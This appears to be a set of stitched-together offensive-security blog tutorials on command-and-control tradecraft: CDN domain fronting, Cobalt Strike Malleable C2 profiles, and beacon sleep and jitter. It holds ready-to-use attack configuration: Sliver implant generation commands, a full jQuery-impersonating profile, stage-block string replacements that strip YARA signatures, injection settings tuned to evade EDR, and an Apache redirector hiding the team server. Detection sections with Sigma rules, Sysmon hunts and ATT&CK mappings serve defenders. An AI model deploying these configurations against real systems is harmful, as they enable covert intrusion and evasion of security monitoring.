Here is the gotcha that cost me the better part of an afternoon once: a profile that passes c2lint is not guaranteed to work through a CDN. The CDN edge can rewrite HTTP requests. It may strip headers, reorder them, normalise casing, or inject its own (X-Forwarded-For, Via, CF-Ray). If your profile encodes metadata into a header the CDN mangles, the beacon checks in but the tasking silently corrupts. Always capture a real request through the full chain and diff it against what your profile expects. c2lint validates syntax, not the behaviour of somebody else’s edge.


6. Sliver: The Open-Source Alternative

If you do not have a Cobalt Strike license, Sliver supports fronting natively and is free. The relevant knobs are --domain for the front and --host-header for the routing hostname.

# Start the Sliver server
sliver-server

# Generate an HTTPS implant that fronts
generate --http lab-c2.yourdomain.com --host-header lab-c2.yourdomain.com \
         --os windows --arch amd64 --format exe --save /tmp/beacon.exe

# Start the HTTPS listener
https --domain lab-c2.yourdomain.com --lport 443

Sliver also offers mTLS and WireGuard listeners if you want a non-HTTP channel for the fallback leg. As with Cobalt Strike, the utility of fronting comes down to the CDN provider’s enforcement posture, so test the full chain, not just the listener. Verify the flags against your installed Sliver version; the CLI has churned across releases.


7. Serverless Relay: The AzureC2Relay Pattern

You can push the redirector into serverless and get profile-aware validation for free. AzureC2Relay is an Azure Function with an HTTP(S) trigger that validates incoming Beacon traffic against a Cobalt Strike Malleable C2 profile. Requests that do not match the profile’s user-agent, URI paths, headers, and query parameters get redirected to a configurable decoy site. Validated traffic is relayed to a team server inside the same virtual network, further fenced off by a network security group.

The win is twofold. The function scales and rotates trivially, and the team server never touches the public internet: it lives in a VNet reachable only from the function. A defender who somehow enumerates the Azure Function still hits a validator that speaks only to beacons matching your exact profile.


8. OPSEC Hardening for CDN Infrastructure

Fronting hides the destination, not sloppy tradecraft. Harden the whole chain.

TechniqueAbuse Scenario
Domain aging + categorizationRegister front-adjacent domains early; get them categorized as benign before the op
WHOIS privacyPrevent attribution linking your domains together
Role segmentationSeparate boxes for staging, long-haul, and phishing so one burn does not cascade
CDN IP allowlistingRedirector accepts only CDN egress ranges; direct scans get nothing
Kill-switch routingRe-point the CDN origin to a decoy the instant infrastructure is burned
TLS randomizationVary JA3 parameters so default C2 fingerprints do not give you away

That last one matters more than most operators realise, which brings us to how the blue team actually catches all of this.


9. Common Attacker Techniques

TechniqueDescription
Classic domain frontingFront domain differs from origin; both share a CDN edge (largely blocked now)
CDN-as-redirectorOwn CDN distribution fronts own origin; the durable pattern
Domainless frontingBlank SNI to defeat SNI/Host match enforcement
Serverless relayAzure Function / Worker validates and relays profile-matching traffic only
Malleable traffic shapingBeacon HTTP made to mimic legitimate app traffic via profiles

10. Defensive Strategies & Detection

Domain fronting is genuinely one of the harder C2 techniques to catch, precisely because nearly every enterprise pours enormous legitimate traffic at CDNs all day. Detection without tuning is a firehose of false positives. That said, several signals are high-confidence.

TLS inspection: the SNI/Host mismatch

The single strongest detection is decrypting TLS at the perimeter and comparing the SNI to the HTTP Host header. In classic fronting they differ, and that mismatch is a near-definitive tell. A proxy that intercepts TLS can compare the Host header to the connection’s SNI, and on mismatch overwrite the domain, log it, and alert. This is MITRE DET0196: outbound HTTPS where the TLS SNI does not match the HTTP Host, especially from curl, wget, or custom binaries with a mismatched or absent SNI targeting CDN-hosted endpoints.

Note the honest limitation: in the CDN-as-redirector model your SNI and Host are often the same value, so there is no mismatch to catch. That is why you also need behavioural and fingerprint detection.

JA3/JA3S fingerprinting

JA3 hashes the TLS handshake into a signature of how the client behaves. Cobalt Strike’s default JA3 hashes are widely published, and crucially these fingerprints survive domain fronting because they reflect the TLS client, not the domain it connects to. Feed pcap into Zeek or write Suricata rules against the tls.ja3 field to flag known C2 handshakes regardless of the front.

Sysmon telemetry

Event IDNameRelevance
EID 3NetworkConnectOutbound connections with DestinationIp, DestinationHostname; correlate CDN connections to the process
EID 22DNSQueryCDN FQDN lookups; hunt unusual processes resolving CDN domains
EID 1ProcessCreateParent/child anomalies around the beacon
EID 7ImageLoadedDLL loads for injected beacons

The high-value hunt is a non-browser process making CDN connections. powershell.exe or rundll32.exe resolving .cloudfront.net is not normal.

title: Non-Browser Process Beaconing to CDN Endpoint
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    DestinationHostname|endswith:
      - '.cloudfront.net'
      - '.azureedge.net'
      - '.fastly.net'
      - '.workers.dev'
  filter:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection and not filter
level: high

ETW and native audit

ETW ProviderCaptures
Microsoft-Windows-WinINetHTTP/S transactions including Host headers from WinINet-based C2
Microsoft-Windows-DNS-ClientDNS resolution events
Microsoft-Windows-TCPIPTCP connection telemetry

Where Sysmon is not deployed, Security Event 5156 (Filtering Platform Connection) logs allowed connections with local/remote address and port. Enable it with:

auditpol /set /subcategory:"Filtering Platform Connection" /success:enable

Verify ETW provider GUIDs on your own host with logman query providers before you build detections on them.

Beaconing analysis

Fronted C2 still beacons. Periodic, small, regularly timed connections to CDN ranges deserve investigation even when you cannot read the headers. Baseline your legitimate CDN traffic per process first; the anomaly is the point.


Graph diagram showing five blue-team detection signal sources - TLS inspection, JA3 fingerprinting, Sysmon endpoint telemetry, ETW host header capture, and beaconing analysis - each feeding into a central SOC alert pipeline.
No single detection catches all fronting variants; defenders need overlapping signals across network and endpoint layers.

11. Lab Exercise: Full Chain, Red vs. Blue

Run the whole thing end to end.

Red, verify the front works:

# On the victim VM: resolves to CDN edge, not your team server
Resolve-DnsName lab-c2.yourdomain.com
.\beacon.exe

Confirm in Wireshark that the ClientHello SNI is lab-c2.yourdomain.com and the Host header is invisible inside the TLS payload. Your team server logs should show the connection sourced from a CDN egress IP, never the victim’s address.

Blue, expose the Host header:

# Transparent TLS intercept to reveal the inner Host
mitmproxy --mode transparent --ssl-insecure

In the mitmproxy console, compare SNI against Host per flow. In the CDN-as-redirector model they match, so you fall back to JA3 (run the pcap through Zeek) and to the Sysmon EID 3 hunt for a non-browser process talking to a CDN. In a classic fronting setup the SNI would read as a third-party front while the Host reads your origin, and that gap is your alert.


12. Tools for CDN C2 Analysis

ToolDescriptionLink
Cobalt StrikeCommercial C2 with Malleable profiles and c2lintcobaltstrike.com
SliverOpen-source C2 with native fronting flagsgithub.com/BishopFox/sliver
NginxRedirector / reverse proxynginx.org
ZeekJA3 generation and network telemetry from pcapzeek.org
SuricataIDS with tls.ja3 rule supportsuricata.io
mitmproxyTLS intercept to reveal Host vs SNImitmproxy.org
WiresharkPacket inspection of the ClientHello SNIwireshark.org
SysmonEndpoint EID 3/22/1/7 telemetrylearn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Proxy: Domain FrontingT1090.004SNI/Host mismatch via TLS inspection (DET0196)
ProxyT1090Beaconing to CDN ranges from unusual processes
Proxy: External ProxyT1090.002CDN-as-redirector without full front
Web ServiceT1102CDN/cloud-hosted C2 channel analysis
Application Layer Protocol: WebT1071.001HTTP/S C2 transport inspection
Acquire Infrastructure: DomainsT1583.001Newly registered / low-reputation front domains
Acquire Infrastructure: ServerT1583.004Redirector and team server provisioning
Obfuscated Files and InformationT1027Malleable profile traffic shaping

Summary

  • Domain fronting hides the C2 destination by splitting the TLS SNI from the HTTP Host header, letting the CDN route to your origin while the firewall sees a benign domain.
  • Classic cross-customer fronting is largely dead on CloudFront and App Engine; the durable pattern is CDN-as-redirector fronting your own distribution to your own origin.
  • Resilience comes from layering: disposable CDN and redirector out front, an untouchable team server behind, so burning one layer never costs the session.
  • The Host header must appear in both http-get and http-post client blocks, and passing c2lint does not mean the CDN will not rewrite your traffic.
  • Defenders catch it with TLS inspection (SNI/Host mismatch, DET0196), JA3 fingerprinting that survives the front, Sysmon EID 3 hunts for non-browser CDN connections, and beaconing analysis, all of which demand heavy baselining because legitimate CDN traffic is enormous.

Related Tutorials

References

Malleable C2 Profiles: Blending Into Legitimate Traffic

Objective: Learn how Cobalt Strike’s Malleable C2 DSL reshapes Beacon’s network and memory indicators to impersonate legitimate web traffic, walk through building and validating a jQuery-mimicking profile end to end in a self-owned lab, and understand the behavioral tells defenders still catch when the disguise is technically perfect.


Out-of-the-box Cobalt Strike traffic gets flagged in minutes. Not because the packets look weird to a human, but because every default .profile shipped with the framework has been fingerprinted by Snort, Suricata, JA3 databases, and every EDR vendor with a threat-intel team. When public testing put stock CS profiles against out-of-the-box IPS, detection rates were under 20%. Sounds bad for defenders, until you realize the behavioral half of the story catches almost everything anyway. That gap is the whole point of this post.

We’re going to write a profile, validate it, stand it up against a lab Windows target, capture the traffic, and then flip perspectives and detect ourselves. Framework-wise the walkthrough uses Cobalt Strike syntax (that’s where the DSL lives), but Section 8 shows the same shape in Havoc’s YAML for readers without a license.


1. What a Malleable C2 Profile Actually Is

Malleable C2 is a small domain-specific language that tells Beacon two things at once: how to transform data going into a network transaction, and, read backwards, how to recover that data on the other end. A single output block that says “mask, base64url, prepend jQuery banner, print in body” is simultaneously the encoder on Beacon and the decoder on the Team Server. The profile is a bidirectional program.

The DSL splits into two option scopes:

  • Global options (set sleeptime, set useragent, set library, etc.) apply to overall Beacon behavior.
  • Local options live inside a block like http-get or http-post and only affect that transaction. Changing a local option in http-post does not touch what http-get emits.

That distinction bites people constantly. If you set a Host header inside http-get { client { } }, it does not carry over to http-post. Every transaction stands alone.


2. Profile Anatomy: Blocks and the Transform Stack

Here are the blocks you’ll actually touch, and what each one owns:

BlockOwns
http-getShape of Beacon check-in (poll) request and server response: URI, headers, metadata encoding, output encoding
http-postShape of Beacon task-result upload: verb, URI, headers, id field, output field
http-configCross-cutting web-server behavior: response header ordering (set headers), per-header values, trust_x_forwarded_for, block_useragents, allow_useragents
stageHow Beacon is loaded into memory and the contents of the Reflective DLL: allocator, checksum, compile_time, entry_point, image_size_x86/x64, sleep_mask, syscall_method, cleanup, transform-x86/transform-x64
process-injectInjected content shape and injection behavior: allocator (VirtualAllocEx / NtMapViewOfSection), min_alloc, startrwx, userwx, execute sub-block
post-exPost-exploitation defaults: spawnto_x86, spawnto_x64, amsi_disable, smartinject, obfuscate, pipename
https-certificateCertificate served by the Team Server (issuer, subject, validity)

Inside http-get and http-post, the request/response body flows through a transform pipeline. These operators are the building blocks:

OperatorEffect
append "string"Append literal string to data
prepend "string"Prepend literal string
base64Base64-encode
base64urlURL-safe Base64
maskXOR with a random 4-byte key (key is embedded in payload)
netbios / netbiosuNetBIOS encoding (lowercase / uppercase A-P)
header "Name"Put the transformed data in this HTTP header
parameter "Name"Put the transformed data in this URI query parameter
uri-appendAppend the data directly to the URI path
printPut the data in the HTTP body

Think of it as a Unix pipe. metadata { base64url; parameter "__cfduid"; } means: take the metadata blob, base64url-encode it, stick the result into the __cfduid query parameter. Reverse the reader for the server side and you get the decoder.


Flowchart showing Beacon metadata passing through base64url encoding then placed into a CDN-looking query parameter before leaving as an HTTP GET request decoded by the Team Server
The transform stack is a bidirectional program: every encode step on Beacon has an exact inverse on the Team Server.

3. Global Options: Sleep, Jitter, and the HTTP Library

These four global settings decide half of your network-side detectability:

OptionEffect
set sleeptime "60000"Check-in interval in milliseconds
set jitter "20"Percent randomization on the sleep interval
set useragent "..."Overrides Beacon’s default User-Agent
set library "winhttp"HTTP stack used for callbacks. Defaults to wininet (only option before CS 4.9); can be wininet or winhttp.

The library choice matters more than it looks. WinINet and WinHTTP present slightly different TLS client hellos, and those different fingerprints are exactly what JA3 hashes. Pick one and know what its JA3 looks like.


4. Crafting the HTTP Layer: The jQuery Profile

Here’s the baseline profile we’ll iterate on. Save it as /opt/profiles/jquery-lab.profile on the Team Server:

# ---- Global options ----
set sleeptime "60000";         # 60-second check-in
set jitter    "20";            # +/- 20% timing randomization
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set library   "winhttp";       # Use WinHTTP stack (different JA3 than WinINet)

# ---- HTTP GET: check-in / task poll ----
http-get {
    set uri "/jquery-3.3.1.min.js";     # Looks like a CDN asset request

    client {
        header "Host"            "code.jquery.com";
        header "Accept"          "text/html,application/xhtml+xml";
        header "Referer"         "https://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;                  # Encode Beacon metadata (host, user, pid) as URL-safe b64
            parameter "__cfduid";       # Stash it in a CDN-looking cookie parameter
        }
    }

    server {
        header "Content-Type"           "application/javascript; charset=utf-8";
        header "Cache-Control"          "max-age=2592000";
        header "X-Content-Type-Options" "nosniff";

        output {
            mask;                                # XOR with random 4-byte key
            base64url;                           # Encode masked bytes
            prepend "/*! jQuery v3.3.1 */";      # Stick a real-looking JS comment on the front
            print;                               # Deliver in HTTP body
        }
    }
}

# ---- HTTP POST: task results back to Team Server ----
http-post {
    set uri "/jquery-3.3.1.min.map";    # Sourcemap for the "jQuery" asset

    client {
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            base64url;
            parameter "id";             # Beacon session ID as ?id=...
        }

        output {
            base64url;
            print;                      # Task output in POST body
        }
    }

    server {
        header "Content-Type" "application/json";
        output {
            print;
        }
    }
}

Read line by line: the URI targets a real jQuery filename, the Host header claims the request is bound for the real CDN, and the Referer chains back to the CDN’s site to complete the story. The metadata block hides Beacon’s fingerprint (hostname, username, PID, internal IP, etc.) in what looks like a CloudFlare session cookie. The server response wears a JavaScript content type, a CDN-style cache header, and a plausible JS comment glued onto the front of the encrypted body. Task output goes back over a POST to the sourcemap URL, which is also a real thing browsers request.

The first time I built one of these I spent an afternoon chasing why the response body wouldn’t decode. The answer: mask before base64url on encode means the server must apply the inverse in the same order, and I’d swapped them mentally. When your Beacon check-in times out with no error and the Team Server log is silent, look at your transform order first. c2lint will not catch that, it’s a semantic bug, not a syntax bug.


5. Killing the PE Tombstone: The stage Block

Even with perfect network camouflage, Beacon’s in-memory image is a YARA magnet. Strings like ReflectiveLoader, beacon.dll, and the standard MS-DOS stub live inside the DLL and get lit up by any decent memory scanner. The stage block rewrites those:

stage {
    set allocator      "MapViewOfFile";     # Reflective loader uses MapViewOfFile, not VirtualAlloc
    set sleep_mask     "true";              # Encrypt beacon memory while sleeping
    set syscall_method "Indirect";          # CS 4.8+: indirect syscall stubs (harder to hook)
    set checksum       "0";                 # Zero the PE checksum
    set compile_time   "11 Nov 2021 08:14:00";  # Backdate the build time
    set entry_point    "92145";             # Non-default EntryPoint
    set image_size_x64 "512000";
    set image_size_x86 "512000";
    set cleanup        "true";              # Free the reflective loader package after init

    transform-x64 {
        strrep "ReflectiveLoader" "MicrosoftLoader";   # Kills the classic YARA hit
        strrep "beacon.dll"       "";
        strrep "This program cannot be run in DOS mode" "";
        prepend "\x90\x90\x90\x90";                    # 4-byte NOP prepend shifts offsets
    }
}

Each of those strrep lines targets a string that appears verbatim in dozens of public Cobalt Strike YARA rules. Removing ReflectiveLoader alone kills the single most-cited signature. The sleep_mask true setting is the one that matters most for memory scanners: while Beacon sleeps, its memory pages get XOR-encrypted, so a scanner walking VirtualQueryEx regions sees random bytes rather than a PE header or plaintext C2 config. Only immediately before the next call does Beacon decrypt itself.

allocator set to MapViewOfFile changes the underlying allocation primitive so the region isn’t a private commit from VirtualAlloc (which is what most tools hunt first). syscall_method Indirect routes through indirect syscall stubs so userland hooks on ntdll don’t see the call frame you’d expect.


Conceptual illustration of a Beacon DLL shedding its identifiable PE strings and reflective loader markers, leaving only encrypted noise in memory
The stage block strips or rewrites every string that YARA rules and memory scanners rely on to identify Beacon in a live process.

6. Process Injection Tuning

Every Beacon post-ex command (screenshot, keylogger, mimikatz) can inject into a spawned host process. The process-inject block controls how:

process-inject {
    set allocator "VirtualAllocEx";     # Or "NtMapViewOfSection" for section-based injection
    set min_alloc "4096";               # Never allocate less than a page
    set startrwx  "false";              # Initial permissions: RW (not RWX)
    set userwx    "false";              # Final permissions: RX (not RWX)

    transform-x64 {
        prepend "\x90\x90\x90\x90";     # Pad injected content
    }

    execute {
        CreateThread "ntdll!RtlUserThreadStart+0x21";
        SetThreadContext;
        NtQueueApcThread;
        RtlCreateUserThread;
    }
}

RWX pages in a remote process are the loudest possible injection signal. Every EDR built in the last decade alerts on cross-process RWX allocation, and Microsoft-Windows-Threat-Intelligence ETW will fire on it. Setting startrwx false allocates RW, writes the payload, then VirtualProtects down to RX for execution. Setting userwx false guarantees the final permission is RX, not RWX. Two VirtualProtect calls versus one direct RWX allocation, and the noise drops dramatically.

The execute block is an ordered try-list. Beacon walks it and picks the first technique that works against the target process. Each has a different footprint:

  • CreateThread "ntdll!RtlUserThreadStart+0x21" starts a local thread at a fake return address inside ntdll, so a stack walk resembles a normal thread.
  • SetThreadContext hijacks an existing thread (T1055.003), no new thread creation event.
  • NtQueueApcThread uses APCs (T1055.004), no CreateRemoteThread telemetry.
  • RtlCreateUserThread is the classic and the loudest, kept last as a fallback.

Ordering matters. Put the quietest technique first for the environment you’re operating in.


7. http-config and Header Order (The One Everyone Misses)

Header order is a fingerprint. Apache 2.4 does not emit Date, Server, Content-Length, Keep-Alive, Connection, Content-Type in that exact sequence for every response, and Cobalt Strike’s default doesn’t match Apache byte-for-byte either. Analysts fingerprint on the ordering more often than on the header values.

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server"     "Apache/2.4.54 (Ubuntu)";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    set trust_x_forwarded_for "true";
    set block_useragents  "curl*,lynx*,wget*,python-requests*";
    set allow_useragents  "*Mozilla*";
}

block_useragents blackholes analyst scanners hitting the redirector with curl or python-requests. allow_useragents restricts to Mozilla-family. trust_x_forwarded_for makes the Team Server log the real client IP rather than the redirector.

Before deploying, verify the ordering matches a real Apache install. Curl a genuine Apache 2.4 server and compare header-by-header with a curl against your Team Server. If they differ, adjust set headers.


8. Validating and Serving the Profile

Cobalt Strike ships c2lint. Run it every time you touch a profile:

# On the Team Server host
./c2lint /opt/profiles/jquery-lab.profile
# Expected output: parsed GET/POST URIs, headers, transforms, no errors

c2lint catches syntax errors, missing required blocks, obvious foot-guns (like transforms that can’t round-trip), and prints the effective config. It does not know whether your headers match real Apache, or whether code.jquery.com is a plausible Host header for the URL you chose. Those are on you.

Start the Team Server pointing at the profile:

./teamserver 10.10.10.5 'SuperSecretPassword' /opt/profiles/jquery-lab.profile

Then in the Aggressor client, create an HTTPS listener on 443 with a lab-only self-signed cert (or a Let’s Encrypt cert for the redirector domain if you own one for lab use).

Havoc C2 equivalent (no license needed)

For readers without a Cobalt Strike license, Havoc’s listener.yaml accepts the same shape of options, expressed as YAML. It’s not the same DSL, but the concepts port cleanly (URIs, header overrides, User-Agent, sleep, jitter, Host header) so you can run the whole exercise using the open-source framework. The lab detection work below applies unchanged.


9. The Redirector: Decoupling Domain from Team Server

Never let a Beacon connect straight to the Team Server. Sit an Apache redirector in front:

# /etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
    SSLEngine on
    SSLCertificateFile    /etc/ssl/lab/lab.crt
    SSLCertificateKeyFile /etc/ssl/lab/lab.key

    RewriteEngine On

    # Only forward the exact Beacon URIs to the Team Server
    RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.(js|map)$ [NC]
    RewriteRule ^(.*)$ https://TEAMSERVER_IP:443$1 [P,L]

    # Everything else: 403. Analysts and scanners see a wall.
    RewriteRule ^ - [F,L]
</VirtualHost>

Enable modules and reload:

sudo a2enmod ssl rewrite proxy proxy_http
sudo systemctl reload apache2

The redirector’s job is threefold: hide the real Team Server IP behind a throwaway VPS, silently drop any request that isn’t a valid Beacon URI (so a curious analyst hitting / gets a stock Apache 403, not a Cobalt Strike default page), and give you a burnable frontend you can rotate without touching the Team Server.


Architecture diagram showing a Beacon connecting to an Apache redirector which forwards only valid Beacon URIs to the hidden Team Server and drops all other requests with a 403
The redirector decouples the Team Server IP from external exposure and silently burns analyst scanners hitting unexpected URIs.

10. Capturing and Verifying the Traffic

With Beacon running on the Windows lab VM, capture on the redirector:

sudo tcpdump -i any -w /tmp/beacon.pcap 'port 443'

Open in Wireshark, decrypt with the private key, and look at the check-in request. It should be indistinguishable from a browser fetching code.jquery.com/jquery-3.3.1.min.js, right down to the header ordering and the CDN-shaped cookie parameter. The server response body starts with /*! jQuery v3.3.1 */ then a base64url blob, which reads as a slightly odd but not obviously malicious JS asset.

Now flip perspectives and extract the config from the Beacon binary itself:

pip install dissect.cobaltstrike
python3 -c "
from dissect.cobaltstrike.beacon import BeaconConfig
c = BeaconConfig.from_path('beacon.bin')
print(c.settings)
"

If you can pull the profile back out of the binary, so can a defender who catches a Beacon sample. That is the point of running it: the network camouflage might be perfect, but any captured payload gives up its own profile. Design accordingly.


11. Detecting Malleable C2: What Survives the Disguise

Behavioral detection eats network camouflage for breakfast. Here’s what still fires.

Sysmon events to hunt

Event IDWhat it catches
Event ID 3 (Network Connection)Outbound HTTPS from processes that have no business making it: rundll32.exe, dllhost.exe, notepad.exe, spoolsv.exe.
Event ID 8 (CreateRemoteThread)Cross-process thread creation from process-inject.
Event ID 10 (ProcessAccess)PROCESS_VM_WRITE + PROCESS_CREATE_THREAD handle opens, especially against LSASS or the spawnto target.
Event ID 17 / 18 (Pipe Created / Connected)Beacon SMB/named-pipe C2. Watch \msagent_* and \postex_*. Rename in post-ex { set pipename } but the shape stays odd.
Event ID 22 (DNS Query)DNS Beacon: unusually long or high-entropy hostnames at consistent frequency.

Seeing 10 → 8 → 17 → 3 on the same process within seconds, with dllhost.exe as the target, is a high-confidence CS pattern regardless of what the packets look like.

Windows Security log

4688 (process create with parent + command line, once you enable command-line auditing) catches the classic Office spawning rundll32.exe. 7045 and 4697 catch the temporary service that GetSystem drops: a 7-character random alphanumeric service name in C:\Windows\. The service gets removed after escalation, but the event log entry does not. Hunt for it retroactively.

ETW providers

ProviderWhy it matters
Microsoft-Windows-Threat-IntelligenceFires on VirtualAllocEx, WriteProcessMemory, SetThreadContext, QueueUserAPC, the exact primitives process-inject uses. Requires a PPL consumer (an EDR driver, basically).
Microsoft-Windows-DNS-ClientDNS Beacon telemetry.
Microsoft-Windows-WinHttpCorrelates with set library "winhttp". If a process nobody expected is calling WinHTTP, question it.

Network-side detection

  • RITA / Zeek statistical beaconing. RITA scores connection periodicity. Even with set jitter "50", a Beacon checking in on a 60-second base still clusters around 60 seconds. RITA catches jitter that a signature-based tool ignores.
  • JA3/JA3S. Cobalt Strike’s WinINet and WinHTTP TLS stacks produce known JA3 hashes. Enforce TLS inspection in the lab and match against public JA3 databases.
  • Header order diff. Byte-compare your Team Server’s response headers against a real Apache 2.4 install. Order drift is a fingerprint.
  • CT logs. Self-signed or freshly-issued certs stand out against baseline browsing.
  • Snort/Suricata alone are not enough. Public benchmarks put stock IPS detection of common CS profiles under 20%. That’s why the behavioral layer above matters.

Sigma rules

Non-browser outbound HTTPS:

title: Non-Browser Process Outbound HTTPS to CDN-like Domains
logsource:
  product: windows
  category: network_connection    # Sysmon Event ID 3
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
    Initiated: 'true'
  filter_browsers:
    Image|endswith:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
      - '\iexplore.exe'
  filter_system:
    Image|startswith: 'C:\Windows\System32\'
  condition: selection and not filter_browsers and not filter_system
level: medium

RWX cross-process access (catches startrwx true profiles and stock CS):

title: Cross-Process RWX Access to Common Spawnto Targets
logsource:
  product: windows
  category: process_access        # Sysmon Event ID 10
detection:
  selection:
    EventID: 10
    GrantedAccess: '0x1fffff'     # PROCESS_ALL_ACCESS, includes VM_WRITE + CREATE_THREAD
    TargetImage|endswith:
      - '\svchost.exe'
      - '\dllhost.exe'
      - '\notepad.exe'
  condition: selection
level: high

Hardening

  1. Enable process creation auditing with command line via GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation.
  2. Deploy Sysmon with a tuned schema (SwiftOnSecurity or olafhartong’s sysmon-modular), specifically covering Event IDs 8, 10, 17, 18.
  3. TLS inspection at the perimeter. If you can’t crack the TLS, none of the HTTP-layer detections work.
  4. Application allowlisting (WDAC/AppLocker) to block rundll32.exe, mshta.exe, regsvr32.exe from executing unsigned payloads.
  5. RITA or Zeek for jitter-resilient beacon detection on internal flows.
  6. Disable staging on your own red-team ops (staging has real OPSEC issues); defenders should alert on any HTTP response delivering a reflective PE (content-type mismatch plus high-entropy body is a strong signal).
  7. Named pipe hunt for \msagent_*, \postex_*, and any custom pipe names from post-ex { set pipename ... }.

Illustration of a broken disguise mask surrounded by behavioral detection tripwires, representing that Sysmon and ETW telemetry catch Malleable C2 even when network disguise is perfect
Behavioral telemetry from Sysmon, ETW, and statistical beaconing tools cuts through network disguise that defeats every signature-based IPS.

12. Tools

ToolUseLink
c2lintMalleable profile syntax + semantic validationships with Cobalt Strike
Havoc C2Open-source alternative supporting YAML profilesgithub.com/HavocFramework/Havoc
Apache mod_rewriteRedirector in front of the Team Serverapache.org
WiresharkPCAP inspection, TLS decryption with server keywireshark.org
RITAStatistical beaconing detection across Zeek logsactivecountermeasures.com
ZeekNetwork flow logging (feeds RITA)zeek.org
dissect.cobaltstrikeExtract Beacon config from a captured binarygithub.com/fox-it/dissect.cobaltstrike
SysmonProcess, network, injection telemetrysysinternals
YARAStatic rules against Beacon in-memory or on-diskvirustotal.github.io/yara
threatexpress/malleable-c2Reference profile repositorygithub.com/threatexpress/malleable-c2

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Data Obfuscation: Protocol or Service ImpersonationT1001.003Header-order diff vs. real service; certificate transparency review
Application Layer Protocol: Web ProtocolsT1071.001Sysmon EID 3 on non-browser processes
Application Layer Protocol: DNST1071.004Sysmon EID 22 for high-entropy / long-hostname queries
Proxy: Internal ProxyT1090.001Sysmon EID 17/18 on \msagent_*, \postex_* pipes
Proxy: Domain FrontingT1090.004Perimeter TLS inspection; SNI vs. Host header mismatch
Process Injection: DLL InjectionT1055.001Sysmon EID 10 + EID 8; TI-ETW WriteProcessMemory
Process Injection: Thread Execution HijackingT1055.003TI-ETW SetThreadContext
Process Injection: APCT1055.004TI-ETW QueueUserAPC / NtQueueApcThread
Obfuscated Files or InformationT1027High-entropy HTTP body + suspicious content-type mismatch
MasqueradingT1036spawnto process anomaly; PE header inconsistency vs. signed baseline
Hide InfrastructureT1665Redirector detection via response fingerprint drift
Exfiltration Over C2 ChannelT1041Outbound POST volume anomaly on the C2 URI
Command and Control (tactic)TA0011All of the above, correlated

Summary

  • A Malleable C2 profile is a bidirectional program: the same transform stack that encodes on Beacon decodes on the Team Server. Get the operator order wrong once and nothing round-trips.
  • Network camouflage buys you evasion of signature-based IPS but almost nothing against behavioral detection. Sysmon 3/8/10/17, TI-ETW, and RITA don’t care what your headers look like.
  • The stage block is where memory-scanner evasion lives. sleep_mask, strrep on ReflectiveLoader, allocator MapViewOfFile, and PE header spoofing kill the classic YARA and pattern hits.
  • process-inject with startrwx false and userwx false avoids the RWX allocation IOC that lights up every EDR. Pick your execute order deliberately.
  • Header ordering and JA3 are the two “perfect profile” tells nobody remembers to fix. Diff your responses byte-for-byte against a real Apache; know what your HTTP-library JA3 hash is.
  • Any captured Beacon gives up its profile via dissect.cobaltstrike. Design ops assuming the disguise will eventually be reverse-engineered from a sample.

Related Tutorials

References

C2 Beaconing: Sleep, Jitter, and Communication Patterns

You’ve got a shell on the target. Now what? That implant needs to call home, but every check-in is a detection opportunity. The difference between a beacon that survives 72 hours and one that gets flagged in 20 minutes usually comes down to three things: how long it sleeps, how much it randomizes that sleep, and what the traffic looks like on the wire. This tutorial builds a minimal C beacon from scratch, runs it against a self-made listener, captures the traffic, and then shows you exactly how defenders catch it.


1. Beacon Architecture in 60 Seconds

A C2 beacon is a loop. Wake up, phone home, check for tasks, execute if any, go back to sleep. The operator never talks directly to the implant; traffic flows through at least one redirector or team server sitting between them.

The critical moving parts:

ComponentRole
Implant (beacon)Runs on the target; initiates all outbound comms on a timer
Team serverQueues tasks, receives output, manages sessions
RedirectorProxies traffic so the team server IP stays hidden
Sleep timerMillisecond wait between check-ins (Sleep, NtDelayExecution)
JitterRandom variance applied to the timer so intervals aren’t uniform
Protocol layerHTTP/S, DNS, SMB named pipe, raw TCP

Staged implants pull down a second-stage payload after initial execution. Stageless implants carry everything. For beaconing behavior, the distinction doesn’t matter: both enter the same sleep/check-in loop once running.

Flowchart showing the C2 beacon communication chain from implant on victim host through a redirector to the team server and operator console, with task and response traffic flowing in both directions
All traffic is operator-initiated from the implant side; the team server IP stays hidden behind at least one redirector.

2. The Sleep Timer and Windows APIs

The simplest beacon calls Sleep(60000) and checks in every minute. Cobalt Strike’s default sleeptime is exactly 60000 ms. That works, but kernel32!Sleep is one of the first API calls EDR vendors hook because it’s trivial to instrument.

Alternatives to Sleep

API / SyscallWhy a beacon uses it
Sleep(DWORD dwMilliseconds)Simplest; heavily hooked by EDR
WaitForSingleObject(hEvent, dwTimeout)Event-driven wait; slightly less suspicious call site
CreateWaitableTimerEx + SetWaitableTimerHigh-precision timer object; avoids Sleep import entirely
NtDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER Interval)Direct ntdll syscall; bypasses kernel32 hooks; takes negative 100-ns units

I burned an afternoon the first time I used NtDelayExecution because I forgot the interval is negative (relative time) and in 100-nanosecond increments. A 30-second sleep is -300000000 in LARGE_INTEGER.QuadPart, not -30000. Get that wrong and your beacon either never wakes up or fires continuously.

3. Jitter: Formula and Why 0% Gets You Caught

Jitter varies the sleep by a percentage so the inter-arrival times aren’t perfectly periodic. The formula is straightforward:

actual_sleep = base_ms +/- (base_ms * jitter_pct / 100)

A 60-second base with 25% jitter produces check-ins between 45 and 75 seconds. With 0% jitter, every interval is identical, and even a basic autocorrelation on Zeek conn.log timestamps lights up like a Christmas tree.

